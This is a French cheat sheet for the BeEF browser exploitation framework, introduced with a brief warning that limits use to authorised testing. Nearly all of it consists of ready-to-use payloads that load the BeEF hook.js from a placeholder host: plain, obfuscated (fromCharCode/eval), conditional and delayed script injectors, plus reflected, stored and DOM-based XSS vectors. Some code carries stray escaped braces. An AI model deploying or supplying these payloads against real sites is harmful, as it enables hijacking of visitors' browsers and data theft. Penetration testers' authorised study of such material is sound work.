Feuille de Triche BeEF Browser Exploitation Framework

Aperçu

BeEF (Browser Exploitation Framework) est un outil de test d’intrusion qui se concentre sur le navigateur web. Il permet au testeur de pénétration professionnel d’évaluer la posture de sécurité réelle d’un environnement cible en utilisant des vecteurs d’attaque côté client.

⚠️ Avertissement : Cet outil est destiné uniquement aux tests de pénétration autorisés et aux évaluations de sécurité. Assurez-vous d’avoir une autorisation appropriée avant de l’utiliser dans un environnement quelconque.

Déploiement du Hook

Injection de Hook de Base

<script src="http://beef-server:3000/hook.js"></script>

<script>
var script = document.createElement('script');
script.src = 'http://beef-server:3000/hook.js';
document.head.appendChild(script);
</script>

<script>
eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,101,101,102,45,115,101,114,118,101,114,58,51,48,48,48,47,104,111,111,107,46,106,115,39,59,100,111,99,117,109,101,110,116,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59));

Techniques de Hook Avancées

// Dynamic hook loading
function loadBeef() \\\\{
    if (typeof beef === 'undefined') \\\\{
        var script = document.createElement('script');
        script.src = 'http://beef-server:3000/hook.js';
        script.onload = function() \\\\{
            console.log('BeEF hook loaded');
        \\\\};
        document.head.appendChild(script);
    \\\\}
\\\\}

// Conditional hook loading
if (document.domain === 'target-site.com') \\\\{
    loadBeef();
\\\\}

// Time-delayed hook
setTimeout(function() \\\\{
    loadBeef();
\\\\}, 5000);

Hook via XSS

// Reflected XSS hook
http://vulnerable-site.com/search?q=<script src="http://beef-server:3000/hook.js"></script>

// Stored XSS hook
<img src="x" onerror="var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);">

// DOM-based XSS hook
javascript:var s=document.createElement('script');s.src='http://beef-server:3000/hook.js';document.head.appendChild(s);
